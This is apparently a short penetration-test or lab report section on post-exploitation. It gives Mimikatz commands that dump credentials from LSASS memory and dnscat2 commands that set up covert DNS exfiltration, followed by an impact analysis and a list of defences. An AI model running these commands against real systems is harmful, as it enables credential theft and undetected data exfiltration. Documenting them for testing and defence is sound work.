Post Exploitation & Exfiltration

Objective

Retrieve sensitive credentials + extract data without detection.

Credential Dump with Mimikatz

Commands:

```
privilege::debug
sekurlsa::logonpasswords
```

Credential Type	Exposure Level
NTLM password hash	Very High
Clear-text password	Critical
Kerberos tickets	High

Covert DNS Exfiltration

Commands:

```
dnscat2-server
dnscat2 <victim-ip>
```

Data Stolen	Channel	Why Covert?
Credentials & text logs	Encrypted DNS	AV/Firewall treats DNS as trusted

Impact Analysis

Because credentials are stored in memory, attackers can impersonate privileged users without brute forcing. NTLM hashes may be cracked offline or reused in Pass-the-Hash attacks. The DNS covert channel bypassed firewall policies using allowed traffic, making exfiltration invisible to traditional monitoring. Attackers can maintain long-term access, extract sensitive databases, or plant ransomware while security teams remain unaware.

Defense Requirements

- Disable LSASS dumping permissions
- Enforce Credential Guard / Protected Process Light
- DNS traffic inspection with machine learning filtering
- Segmentation of privilege roles